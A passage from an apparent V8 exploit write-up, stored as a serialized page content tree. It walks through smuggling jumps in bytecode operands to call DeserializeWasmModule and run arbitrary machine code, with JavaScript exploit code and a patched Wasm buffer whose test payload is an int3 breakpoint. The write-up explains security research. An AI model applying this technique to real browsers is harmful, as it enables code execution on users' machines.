\u003Ccontext>, r220\n2013 : 0b f8 Ldar r1\n2015 : 01 4b 11 11 93 0a 01 00 00 00 AddSmi.ExtraWide [177410321], [1]\n2025 : 0b f8 Ldar r1\n2027 : 01 4b 11 11 93 0a 02 00 00 00 AddSmi.ExtraWide [177410321], [2]\n2037 : 0b f8 Ldar r1\n2039 : 01 4b 11 11 93 0a 03 00 00 00 AddSmi.ExtraWide [177410321], [3]\n2049 : 0b f8 Ldar r1\n2051 : 01 4b 11 11 93 0a 04 00 00 00 AddSmi.ExtraWide [177410321], [4]\n2061 : 0b f8 Ldar r1\n2063 : 01 4b 11 11 93 0a 05 00 00 00 AddSmi.ExtraWide [177410321], [5]\n",[132324],{"type":23,"tag":94,"props":132325,"children":132326},{"__ignoreMap":7},[132327],{"type":28,"value":132322},{"type":23,"tag":24,"props":132329,"children":132330},{},[132331,132333,132339],{"type":28,"value":132332},"We can see the feedback vector slot increments for every operation. This means that with a smuggled jump slide through ",{"type":23,"tag":94,"props":132334,"children":132336},{"className":132335},[],[132337],{"type":28,"value":132338},"AddSmi.ExtraWide",{"type":28,"value":132340},", we can control almost 8 bytes (because of the SMI constraint) given enough addition instructions.",{"type":23,"tag":24,"props":132342,"children":132343},{},[132344],{"type":28,"value":132345},"Eventually, we can reach a stage like this:",{"type":23,"tag":304,"props":132347,"children":132349},{"code":132348},"4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n",[132350],{"type":23,"tag":94,"props":132351,"children":132352},{"__ignoreMap":7},[132353],{"type":28,"value":132348},{"type":23,"tag":24,"props":132355,"children":132356},{},[132357],{"type":28,"value":132358},"If you skip the first two bytes, you have",{"type":23,"tag":127,"props":132360,"children":132361},{},[132362,132393],{"type":23,"tag":88,"props":132363,"children":132364},{},[132365,132370,132372,132377,132379,132385,132387],{"type":23,"tag":94,"props":132366,"children":132368},{"className":132367},[],[132369],{"type":28,"value":132164},{"type":28,"value":132371}," (0x6c) to ",{"type":23,"tag":94,"props":132373,"children":132375},{"className":132374},[],[132376],{"type":28,"value":132180},{"type":28,"value":132378}," (0x0266) starting from register ",{"type":23,"tag":94,"props":132380,"children":132382},{"className":132381},[],[132383],{"type":28,"value":132384},"a2",{"type":28,"value":132386}," (0x4) with 2 arguments (0x2). This becomes the call: ",{"type":23,"tag":94,"props":132388,"children":132390},{"className":132389},[],[132391],{"type":28,"value":132392},"DeserializeWasmModule(a2, a1)",{"type":23,"tag":88,"props":132394,"children":132395},{},[132396],{"type":28,"value":132397},"a Jump instruction",{"type":23,"tag":837,"props":132399,"children":132401},{"id":132400},"returning-back-to-js",[132402],{"type":28,"value":132403},"Returning Back to JS",{"type":23,"tag":24,"props":132405,"children":132406},{},[132407,132409,132415],{"type":28,"value":132408},"After that call, the result is stored in the accumulator. Since this function is an async generator, we have to ",{"type":23,"tag":94,"props":132410,"children":132412},{"className":132411},[],[132413],{"type":28,"value":132414},"yield",{"type":28,"value":132416}," the result, but that results in a long series of instructions that we can't possibly smuggle.",{"type":23,"tag":24,"props":132418,"children":132419},{},[132420],{"type":28,"value":132421},"The solution here is simple: we use the smuggled control flow to merge back into the normal control flow, that leads us into a yield from the original JS. For example, in our exploit, all the additions were done in a try block:",{"type":23,"tag":304,"props":132423,"children":132425},{"code":132424,"language":30613,"meta":7,"className":30611,"style":7},"try {\n ${'a1 + 0xa931111;'.repeat(0x059302 - 1)}\n a1 + 0x0402666c;\n throw 0x393e91a;\n} catch (e) {\n console.log(\"foo\");\n yield a16;\n}\n",[132426],{"type":23,"tag":94,"props":132427,"children":132428},{"__ignoreMap":7},[132429,132440,132488,132509,132525,132548,132576,132593],{"type":23,"tag":314,"props":132430,"children":132431},{"class":316,"line":317},[132432,132436],{"type":23,"tag":314,"props":132433,"children":132434},{"style":2284},[132435],{"type":28,"value":47581},{"type":23,"tag":314,"props":132437,"children":132438},{"style":338},[132439],{"type":28,"value":1449},{"type":23,"tag":314,"props":132441,"children":132442},{"class":316,"line":370},[132443,132448,132452,132457,132461,132466,132470,132475,132479,132483],{"type":23,"tag":314,"props":132444,"children":132445},{"style":360},[132446],{"type":28,"value":132447}," $",{"type":23,"tag":314,"props":132449,"children":132450},{"style":338},[132451],{"type":28,"value":75870},{"type":23,"tag":314,"props":132453,"children":132454},{"style":1245},[132455],{"type":28,"value":132456},"'a1 + 0xa931111;'",{"type":23,"tag":314,"props":132458,"children":132459},{"style":338},[132460],{"type":28,"value":282},{"type":23,"tag":314,"props":132462,"children":132463},{"style":332},[132464],{"type":28,"value":132465},"repeat",{"type":23,"tag":314,"props":132467,"children":132468},{"style":338},[132469],{"type":28,"value":341},{"type":23,"tag":314,"props":132471,"children":132472},{"style":1054},[132473],{"type":28,"value":132474},"0x059302",{"type":23,"tag":314,"props":132476,"children":132477},{"style":354},[132478],{"type":28,"value":50506},{"type":23,"tag":314,"props":132480,"children":132481},{"style":1054},[132482],{"type":28,"value":3778},{"type":23,"tag":314,"props":132484,"children":132485},{"style":338},[132486],{"type":28,"value":132487},")}\n",{"type":23,"tag":314,"props":132489,"children":132490},{"class":316,"line":380},[132491,132496,132500,132505],{"type":23,"tag":314,"props":132492,"children":132493},{"style":360},[132494],{"type":28,"value":132495}," a1",{"type":23,"tag":314,"props":132497,"children":132498},{"style":354},[132499],{"type":28,"value":1572},{"type":23,"tag":314,"props":132501,"children":132502},{"style":1054},[132503],{"type":28,"value":132504}," 0x0402666c",{"type":23,"tag":314,"props":132506,"children":132507},{"style":338},[132508],{"type":28,"value":2278},{"type":23,"tag":314,"props":132510,"children":132511},{"class":316,"line":1091},[132512,132516,132521],{"type":23,"tag":314,"props":132513,"children":132514},{"style":2284},[132515],{"type":28,"value":34451},{"type":23,"tag":314,"props":132517,"children":132518},{"style":1054},[132519],{"type":28,"value":132520}," 0x393e91a",{"type":23,"tag":314,"props":132522,"children":132523},{"style":338},[132524],{"type":28,"value":2278},{"type":23,"tag":314,"props":132526,"children":132527},{"class":316,"line":1141},[132528,132532,132536,132540,132544],{"type":23,"tag":314,"props":132529,"children":132530},{"style":338},[132531],{"type":28,"value":46123},{"type":23,"tag":314,"props":132533,"children":132534},{"style":2284},[132535],{"type":28,"value":47661},{"type":23,"tag":314,"props":132537,"children":132538},{"style":338},[132539],{"type":28,"value":2324},{"type":23,"tag":314,"props":132541,"children":132542},{"style":360},[132543],{"type":28,"value":50705},{"type":23,"tag":314,"props":132545,"children":132546},{"style":338},[132547],{"type":28,"value":367},{"type":23,"tag":314,"props":132549,"children":132550},{"class":316,"line":1173},[132551,132555,132559,132563,132567,132572],{"type":23,"tag":314,"props":132552,"children":132553},{"style":360},[132554],{"type":28,"value":101196},{"type":23,"tag":314,"props":132556,"children":132557},{"style":338},[132558],{"type":28,"value":282},{"type":23,"tag":314,"props":132560,"children":132561},{"style":332},[132562],{"type":28,"value":101205},{"type":23,"tag":314,"props":132564,"children":132565},{"style":338},[132566],{"type":28,"value":341},{"type":23,"tag":314,"props":132568,"children":132569},{"style":1245},[132570],{"type":28,"value":132571},"\"foo\"",{"type":23,"tag":314,"props":132573,"children":132574},{"style":338},[132575],{"type":28,"value":1025},{"type":23,"tag":314,"props":132577,"children":132578},{"class":316,"line":1208},[132579,132584,132589],{"type":23,"tag":314,"props":132580,"children":132581},{"style":2284},[132582],{"type":28,"value":132583}," yield",{"type":23,"tag":314,"props":132585,"children":132586},{"style":360},[132587],{"type":28,"value":132588}," a16",{"type":23,"tag":314,"props":132590,"children":132591},{"style":338},[132592],{"type":28,"value":2278},{"type":23,"tag":314,"props":132594,"children":132595},{"class":316,"line":1216},[132596],{"type":23,"tag":314,"props":132597,"children":132598},{"style":338},[132599],{"type":28,"value":386},{"type":23,"tag":24,"props":132601,"children":132602},{},[132603,132605],{"type":28,"value":132604},"Starting from the final ",{"type":23,"tag":94,"props":132606,"children":132608},{"className":132607},[],[132609],{"type":28,"value":132312},{"type":23,"tag":304,"props":132611,"children":132613},{"code":132612}," 4385774 : 01 4b 6c 66 02 04 02 93 05 00 AddSmi.ExtraWide [67266156], [365314]\n 4385784 : 01 0d 1a e9 93 03 LdaSmi.ExtraWide [60025114]\n 4385790 : b1 Throw\n 4385791 : 00 1a 1a ff Star.Wide r223\n",[132614],{"type":23,"tag":94,"props":132615,"children":132616},{"__ignoreMap":7},[132617],{"type":28,"value":132612},{"type":23,"tag":24,"props":132619,"children":132620},{},[132621,132623,132628,132630,132636],{"type":28,"value":132622},"The smuggled jump in ",{"type":23,"tag":94,"props":132624,"children":132626},{"className":132625},[],[132627],{"type":28,"value":132312},{"type":28,"value":132629}," will redirect us to ",{"type":23,"tag":94,"props":132631,"children":132633},{"className":132632},[],[132634],{"type":28,"value":132635},"1a e9 93 03",{"type":28,"value":132637},", which results in:",{"type":23,"tag":127,"props":132639,"children":132640},{},[132641,132652],{"type":23,"tag":88,"props":132642,"children":132643},{},[132644,132650],{"type":23,"tag":94,"props":132645,"children":132647},{"className":132646},[],[132648],{"type":28,"value":132649},"Star r16",{"type":28,"value":132651}," (store accumulator to r16)",{"type":23,"tag":88,"props":132653,"children":132654},{},[132655,132660],{"type":23,"tag":94,"props":132656,"children":132658},{"className":132657},[],[132659],{"type":28,"value":132082},{"type":28,"value":132661}," past the throw into the catch relevant code",{"type":23,"tag":24,"props":132663,"children":132664},{},[132665,132667,132673],{"type":28,"value":132666},"This will bring us nicely to the final ",{"type":23,"tag":94,"props":132668,"children":132670},{"className":132669},[],[132671],{"type":28,"value":132672},"yield a16",{"type":28,"value":132674},", and we now have a Deserialized Wasm Module with our own arbitrary machine code.",{"type":23,"tag":837,"props":132676,"children":132678},{"id":132677},"executing-shellcode",[132679],{"type":28,"value":132680},"Executing Shellcode",{"type":23,"tag":24,"props":132682,"children":132683},{},[132684],{"type":28,"value":132685},"To test this, we first serialize a small WebAssembly module and print the resulting Uint8Array:",{"type":23,"tag":304,"props":132687,"children":132689},{"code":132688,"language":34864,"meta":7,"className":34862,"style":7},"var wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n]);\nvar mod = new WebAssembly.Module(wasm_code);\nvar inst = new WebAssembly.Instance(mod);\nvar func = inst.exports.shell;\n\n%WasmTierUpFunction(func);\nvar serialized = %SerializeWasmModule(mod);\nlet result = new Uint8Array(serialized);\nconsole.log('[' + result.join(', ') + ']');\n",[132690],{"type":23,"tag":94,"props":132691,"children":132692},{"__ignoreMap":7},[132693,132723,132950,133018,133025,133070,133116,133156,133163,133187,133224,133260],{"type":23,"tag":314,"props":132694,"children":132695},{"class":316,"line":317},[132696,132700,132705,132709,132713,132718],{"type":23,"tag":314,"props":132697,"children":132698},{"style":321},[132699],{"type":28,"value":34296},{"type":23,"tag":314,"props":132701,"children":132702},{"style":360},[132703],{"type":28,"value":132704}," wasm_code",{"type":23,"tag":314,"props":132706,"children":132707},{"style":354},[132708],{"type":28,"value":1237},{"type":23,"tag":314,"props":132710,"children":132711},{"style":321},[132712],{"type":28,"value":31180},{"type":23,"tag":314,"props":132714,"children":132715},{"style":332},[132716],{"type":28,"value":132717}," Uint8Array",{"type":23,"tag":314,"props":132719,"children":132720},{"style":338},[132721],{"type":28,"value":132722},"([\n",{"type":23,"tag":314,"props":132724,"children":132725},{"class":316,"line":370},[132726,132731,132735,132740,132744,132749,132753,132758,132762,132766,132770,132774,132778,132782,132786,132790,132794,132798,132802,132806,132810,132814,132818,132823,132827,132831,132835,132839,132843,132847,132851,132855,132859,132863,132867,132871,132875,132879,132883,132887,132891,132895,132899,132903,132907,132911,132915,132920,132924,132929,132933,132938,132942,132946],{"type":23,"tag":314,"props":132727,"children":132728},{"style":1054},[132729],{"type":28,"value":132730}," 0",{"type":23,"tag":314,"props":132732,"children":132733},{"style":338},[132734],{"type":28,"value":778},{"type":23,"tag":314,"props":132736,"children":132737},{"style":1054},[132738],{"type":28,"value":132739},"97",{"type":23,"tag":314,"props":132741,"children":132742},{"style":338},[132743],{"type":28,"value":778},{"type":23,"tag":314,"props":132745,"children":132746},{"style":1054},[132747],{"type":28,"value":132748},"115",{"type":23,"tag":314,"props":132750,"children":132751},{"style":338},[132752],{"type":28,"value":778},{"type":23,"tag":314,"props":132754,"children":132755},{"style":1054},[132756],{"type":28,"value":132757},"109",{"type":23,"tag":314,"props":132759,"children":132760},{"style":338},[132761],{"type":28,"value":778},{"type":23,"tag":314,"props":132763,"children":132764},{"style":1054},[132765],{"type":28,"value":3267},{"type":23,"tag":314,"props":132767,"children":132768},{"style":338},[132769],{"type":28,"value":778},{"type":23,"tag":314,"props":132771,"children":132772},{"style":1054},[132773],{"type":28,"value":1600},{"type":23,"tag":314,"props":132775,"children":132776},{"style":338},[132777],{"type":28,"value":778},{"type":23,"tag":314,"props":132779,"children":132780},{"style":1054},[132781],{"type":28,"value":1600},{"type":23,"tag":314,"props":132783,"children":132784},{"style":338},[132785],{"type":28,"value":778},{"type":23,"tag":314,"props":132787,"children":132788},{"style":1054},[132789],{"type":28,"value":1600},{"type":23,"tag":314,"props":132791,"children":132792},{"style":338},[132793],{"type":28,"value":778},{"type":23,"tag":314,"props":132795,"children":132796},{"style":1054},[132797],{"type":28,"value":3267},{"type":23,"tag":314,"props":132799,"children":132800},{"style":338},[132801],{"type":28,"value":778},{"type":23,"tag":314,"props":132803,"children":132804},{"style":1054},[132805],{"type":28,"value":1567},{"type":23,"tag":314,"props":132807,"children":132808},{"style":338},[132809],{"type":28,"value":778},{"type":23,"tag":314,"props":132811,"children":132812},{"style":1054},[132813],{"type":28,"value":3267},{"type":23,"tag":314,"props":132815,"children":132816},{"style":338},[132817],{"type":28,"value":778},{"type":23,"tag":314,"props":132819,"children":132820},{"style":1054},[132821],{"type":28,"value":132822},"96",{"type":23,"tag":314,"props":132824,"children":132825},{"style":338},[132826],{"type":28,"value":778},{"type":23,"tag":314,"props":132828,"children":132829},{"style":1054},[132830],{"type":28,"value":1600},{"type":23,"tag":314,"props":132832,"children":132833},{"style":338},[132834],{"type":28,"value":778},{"type":23,"tag":314,"props":132836,"children":132837},{"style":1054},[132838],{"type":28,"value":1600},{"type":23,"tag":314,"props":132840,"children":132841},{"style":338},[132842],{"type":28,"value":778},{"type":23,"tag":314,"props":132844,"children":132845},{"style":1054},[132846],{"type":28,"value":16535},{"type":23,"tag":314,"props":132848,"children":132849},{"style":338},[132850],{"type":28,"value":778},{"type":23,"tag":314,"props":132852,"children":132853},{"style":1054},[132854],{"type":28,"value":2378},{"type":23,"tag":314,"props":132856,"children":132857},{"style":338},[132858],{"type":28,"value":778},{"type":23,"tag":314,"props":132860,"children":132861},{"style":1054},[132862],{"type":28,"value":3267},{"type":23,"tag":314,"props":132864,"children":132865},{"style":338},[132866],{"type":28,"value":778},{"type":23,"tag":314,"props":132868,"children":132869},{"style":1054},[132870],{"type":28,"value":1600},{"type":23,"tag":314,"props":132872,"children":132873},{"style":338},[132874],{"type":28,"value":778},{"type":23,"tag":314,"props":132876,"children":132877},{"style":1054},[132878],{"type":28,"value":53922},{"type":23,"tag":314,"props":132880,"children":132881},{"style":338},[132882],{"type":28,"value":778},{"type":23,"tag":314,"props":132884,"children":132885},{"style":1054},[132886],{"type":28,"value":55136},{"type":23,"tag":314,"props":132888,"children":132889},{"style":338},[132890],{"type":28,"value":778},{"type":23,"tag":314,"props":132892,"children":132893},{"style":1054},[132894],{"type":28,"value":3267},{"type":23,"tag":314,"props":132896,"children":132897},{"style":338},[132898],{"type":28,"value":778},{"type":23,"tag":314,"props":132900,"children":132901},{"style":1054},[132902],{"type":28,"value":1317},{"type":23,"tag":314,"props":132904,"children":132905},{"style":338},[132906],{"type":28,"value":778},{"type":23,"tag":314,"props":132908,"children":132909},{"style":1054},[132910],{"type":28,"value":132748},{"type":23,"tag":314,"props":132912,"children":132913},{"style":338},[132914],{"type":28,"value":778},{"type":23,"tag":314,"props":132916,"children":132917},{"style":1054},[132918],{"type":28,"value":132919},"104",{"type":23,"tag":314,"props":132921,"children":132922},{"style":338},[132923],{"type":28,"value":778},{"type":23,"tag":314,"props":132925,"children":132926},{"style":1054},[132927],{"type":28,"value":132928},"101",{"type":23,"tag":314,"props":132930,"children":132931},{"style":338},[132932],{"type":28,"value":778},{"type":23,"tag":314,"props":132934,"children":132935},{"style":1054},[132936],{"type":28,"value":132937},"108",{"type":23,"tag":314,"props":132939,"children":132940},{"style":338},[132941],{"type":28,"value":778},{"type":23,"tag":314,"props":132943,"children":132944},{"style":1054},[132945],{"type":28,"value":132937},{"type":23,"tag":314,"props":132947,"children":132948},{"style":338},[132949],{"type":28,"value":1870},{"type":23,"tag":314,"props":132951,"children":132952},{"class":316,"line":380},[132953,132957,132961,132965,132969,132973,132977,132981,132985,132989,132993,132997,133001,133005,133009,133014],{"type":23,"tag":314,"props":132954,"children":132955},{"style":1054},[132956],{"type":28,"value":132730},{"type":23,"tag":314,"props":132958,"children":132959},{"style":338},[132960],{"type":28,"value":778},{"type":23,"tag":314,"props":132962,"children":132963},{"style":1054},[132964],{"type":28,"value":1600},{"type":23,"tag":314,"props":132966,"children":132967},{"style":338},[132968],{"type":28,"value":778},{"type":23,"tag":314,"props":132970,"children":132971},{"style":1054},[132972],{"type":28,"value":88505},{"type":23,"tag":314,"props":132974,"children":132975},{"style":338},[132976],{"type":28,"value":778},{"type":23,"tag":314,"props":132978,"children":132979},{"style":1054},[132980],{"type":28,"value":1567},{"type":23,"tag":314,"props":132982,"children":132983},{"style":338},[132984],{"type":28,"value":778},{"type":23,"tag":314,"props":132986,"children":132987},{"style":1054},[132988],{"type":28,"value":3267},{"type":23,"tag":314,"props":132990,"children":132991},{"style":338},[132992],{"type":28,"value":778},{"type":23,"tag":314,"props":132994,"children":132995},{"style":1054},[132996],{"type":28,"value":2378},{"type":23,"tag":314,"props":132998,"children":132999},{"style":338},[133000],{"type":28,"value":778},{"type":23,"tag":314,"props":133002,"children":133003},{"style":1054},[133004],{"type":28,"value":1600},{"type":23,"tag":314,"props":133006,"children":133007},{"style":338},[133008],{"type":28,"value":778},{"type":23,"tag":314,"props":133010,"children":133011},{"style":1054},[133012],{"type":28,"value":133013},"11",{"type":23,"tag":314,"props":133015,"children":133016},{"style":338},[133017],{"type":28,"value":1870},{"type":23,"tag":314,"props":133019,"children":133020},{"class":316,"line":1091},[133021],{"type":23,"tag":314,"props":133022,"children":133023},{"style":338},[133024],{"type":28,"value":3007},{"type":23,"tag":314,"props":133026,"children":133027},{"class":316,"line":1141},[133028,133032,133036,133040,133044,133049,133053,133057,133061,133066],{"type":23,"tag":314,"props":133029,"children":133030},{"style":321},[133031],{"type":28,"value":34296},{"type":23,"tag":314,"props":133033,"children":133034},{"style":360},[133035],{"type":28,"value":70877},{"type":23,"tag":314,"props":133037,"children":133038},{"style":354},[133039],{"type":28,"value":1237},{"type":23,"tag":314,"props":133041,"children":133042},{"style":321},[133043],{"type":28,"value":31180},{"type":23,"tag":314,"props":133045,"children":133046},{"style":360},[133047],{"type":28,"value":133048}," WebAssembly",{"type":23,"tag":314,"props":133050,"children":133051},{"style":338},[133052],{"type":28,"value":282},{"type":23,"tag":314,"props":133054,"children":133055},{"style":332},[133056],{"type":28,"value":85171},{"type":23,"tag":314,"props":133058,"children":133059},{"style":338},[133060],{"type":28,"value":341},{"type":23,"tag":314,"props":133062,"children":133063},{"style":360},[133064],{"type":28,"value":133065},"wasm_code",{"type":23,"tag":314,"props":133067,"children":133068},{"style":338},[133069],{"type":28,"value":1025},{"type":23,"tag":314,"props":133071,"children":133072},{"class":316,"line":1173},[133073,133077,133082,133086,133090,133094,133098,133103,133107,133112],{"type":23,"tag":314,"props":133074,"children":133075},{"style":321},[133076],{"type":28,"value":34296},{"type":23,"tag":314,"props":133078,"children":133079},{"style":360},[133080],{"type":28,"value":133081}," inst",{"type":23,"tag":314,"props":133083,"children":133084},{"style":354},[133085],{"type":28,"value":1237},{"type":23,"tag":314,"props":133087,"children":133088},{"style":321},[133089],{"type":28,"value":31180},{"type":23,"tag":314,"props":133091,"children":133092},{"style":360},[133093],{"type":28,"value":133048},{"type":23,"tag":314,"props":133095,"children":133096},{"style":338},[133097],{"type":28,"value":282},{"type":23,"tag":314,"props":133099,"children":133100},{"style":332},[133101],{"type":28,"value":133102},"Instance",{"type":23,"tag":314,"props":133104,"children":133105},{"style":338},[133106],{"type":28,"value":341},{"type":23,"tag":314,"props":133108,"children":133109},{"style":360},[133110],{"type":28,"value":133111},"mod",{"type":23,"tag":314,"props":133113,"children":133114},{"style":338},[133115],{"type":28,"value":1025},{"type":23,"tag":314,"props":133117,"children":133118},{"class":316,"line":1208},[133119,133123,133127,133131,133135,133139,133143,133147,133152],{"type":23,"tag":314,"props":133120,"children":133121},{"style":321},[133122],{"type":28,"value":34296},{"type":23,"tag":314,"props":133124,"children":133125},{"style":360},[133126],{"type":28,"value":79261},{"type":23,"tag":314,"props":133128,"children":133129},{"style":354},[133130],{"type":28,"value":1237},{"type":23,"tag":314,"props":133132,"children":133133},{"style":360},[133134],{"type":28,"value":133081},{"type":23,"tag":314,"props":133136,"children":133137},{"style":338},[133138],{"type":28,"value":282},{"type":23,"tag":314,"props":133140,"children":133141},{"style":360},[133142],{"type":28,"value":37135},{"type":23,"tag":314,"props":133144,"children":133145},{"style":338},[133146],{"type":28,"value":282},{"type":23,"tag":314,"props":133148,"children":133149},{"style":360},[133150],{"type":28,"value":133151},"shell",{"type":23,"tag":314,"props":133153,"children":133154},{"style":338},[133155],{"type":28,"value":2278},{"type":23,"tag":314,"props":133157,"children":133158},{"class":316,"line":1216},[133159],{"type":23,"tag":314,"props":133160,"children":133161},{"emptyLinePlaceholder":18},[133162],{"type":28,"value":1088},{"type":23,"tag":314,"props":133164,"children":133165},{"class":316,"line":1301},[133166,133170,133175,133179,133183],{"type":23,"tag":314,"props":133167,"children":133168},{"style":354},[133169],{"type":28,"value":55639},{"type":23,"tag":314,"props":133171,"children":133172},{"style":332},[133173],{"type":28,"value":133174},"WasmTierUpFunction",{"type":23,"tag":314,"props":133176,"children":133177},{"style":338},[133178],{"type":28,"value":341},{"type":23,"tag":314,"props":133180,"children":133181},{"style":360},[133182],{"type":28,"value":75553},{"type":23,"tag":314,"props":133184,"children":133185},{"style":338},[133186],{"type":28,"value":1025},{"type":23,"tag":314,"props":133188,"children":133189},{"class":316,"line":1343},[133190,133194,133199,133203,133208,133212,133216,133220],{"type":23,"tag":314,"props":133191,"children":133192},{"style":321},[133193],{"type":28,"value":34296},{"type":23,"tag":314,"props":133195,"children":133196},{"style":360},[133197],{"type":28,"value":133198}," serialized",{"type":23,"tag":314,"props":133200,"children":133201},{"style":354},[133202],{"type":28,"value":1237},{"type":23,"tag":314,"props":133204,"children":133205},{"style":354},[133206],{"type":28,"value":133207}," %",{"type":23,"tag":314,"props":133209,"children":133210},{"style":332},[133211],{"type":28,"value":132206},{"type":23,"tag":314,"props":133213,"children":133214},{"style":338},[133215],{"type":28,"value":341},{"type":23,"tag":314,"props":133217,"children":133218},{"style":360},[133219],{"type":28,"value":133111},{"type":23,"tag":314,"props":133221,"children":133222},{"style":338},[133223],{"type":28,"value":1025},{"type":23,"tag":314,"props":133225,"children":133226},{"class":316,"line":1351},[133227,133231,133235,133239,133243,133247,133251,133256],{"type":23,"tag":314,"props":133228,"children":133229},{"style":321},[133230],{"type":28,"value":11035},{"type":23,"tag":314,"props":133232,"children":133233},{"style":360},[133234],{"type":28,"value":8410},{"type":23,"tag":314,"props":133236,"children":133237},{"style":354},[133238],{"type":28,"value":1237},{"type":23,"tag":314,"props":133240,"children":133241},{"style":321},[133242],{"type":28,"value":31180},{"type":23,"tag":314,"props":133244,"children":133245},{"style":332},[133246],{"type":28,"value":132717},{"type":23,"tag":314,"props":133248,"children":133249},{"style":338},[133250],{"type":28,"value":341},{"type":23,"tag":314,"props":133252,"children":133253},{"style":360},[133254],{"type":28,"value":133255},"serialized",{"type":23,"tag":314,"props":133257,"children":133258},{"style":338},[133259],{"type":28,"value":1025},{"type":23,"tag":314,"props":133261,"children":133262},{"class":316,"line":1387},[133263,133268,133272,133276,133280,133285,133289,133293,133297,133302,133306,133311,133315,133319,133324],{"type":23,"tag":314,"props":133264,"children":133265},{"style":360},[133266],{"type":28,"value":133267},"console",{"type":23,"tag":314,"props":133269,"children":133270},{"style":338},[133271],{"type":28,"value":282},{"type":23,"tag":314,"props":133273,"children":133274},{"style":332},[133275],{"type":28,"value":101205},{"type":23,"tag":314,"props":133277,"children":133278},{"style":338},[133279],{"type":28,"value":341},{"type":23,"tag":314,"props":133281,"children":133282},{"style":1245},[133283],{"type":28,"value":133284},"'['",{"type":23,"tag":314,"props":133286,"children":133287},{"style":354},[133288],{"type":28,"value":1572},{"type":23,"tag":314,"props":133290,"children":133291},{"style":360},[133292],{"type":28,"value":8410},{"type":23,"tag":314,"props":133294,"children":133295},{"style":338},[133296],{"type":28,"value":282},{"type":23,"tag":314,"props":133298,"children":133299},{"style":332},[133300],{"type":28,"value":133301},"join",{"type":23,"tag":314,"props":133303,"children":133304},{"style":338},[133305],{"type":28,"value":341},{"type":23,"tag":314,"props":133307,"children":133308},{"style":1245},[133309],{"type":28,"value":133310},"', '",{"type":23,"tag":314,"props":133312,"children":133313},{"style":338},[133314],{"type":28,"value":2343},{"type":23,"tag":314,"props":133316,"children":133317},{"style":354},[133318],{"type":28,"value":1130},{"type":23,"tag":314,"props":133320,"children":133321},{"style":1245},[133322],{"type":28,"value":133323}," ']'",{"type":23,"tag":314,"props":133325,"children":133326},{"style":338},[133327],{"type":28,"value":1025},{"type":23,"tag":24,"props":133329,"children":133330},{},[133331],{"type":28,"value":133332},"This produces the following output:",{"type":23,"tag":304,"props":133334,"children":133336},{"code":133335},"[147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 85, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93, 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0]\n",[133337],{"type":23,"tag":94,"props":133338,"children":133339},{"__ignoreMap":7},[133340],{"type":28,"value":133335},{"type":23,"tag":24,"props":133342,"children":133343},{},[133344,133346,133352,133354,133360,133362,133368,133369,133375,133377,133382],{"type":28,"value":133345},"The bytes ",{"type":23,"tag":94,"props":133347,"children":133349},{"className":133348},[],[133350],{"type":28,"value":133351},"85, 72, 137, 229, ...",{"type":28,"value":133353}," correspond to the x86-64 function prologue (",{"type":23,"tag":94,"props":133355,"children":133357},{"className":133356},[],[133358],{"type":28,"value":133359},"push rbp; mov rbp, rsp",{"type":28,"value":133361},"). We replace the first byte with ",{"type":23,"tag":94,"props":133363,"children":133365},{"className":133364},[],[133366],{"type":28,"value":133367},"0xcc",{"type":28,"value":15701},{"type":23,"tag":94,"props":133370,"children":133372},{"className":133371},[],[133373],{"type":28,"value":133374},"int3",{"type":28,"value":133376}," opcode), and use this modified buffer as the serialized input to ",{"type":23,"tag":94,"props":133378,"children":133380},{"className":133379},[],[133381],{"type":28,"value":132180},{"type":28,"value":3746},{"type":23,"tag":304,"props":133384,"children":133386},{"code":133385,"language":34864,"meta":7,"className":34862,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n 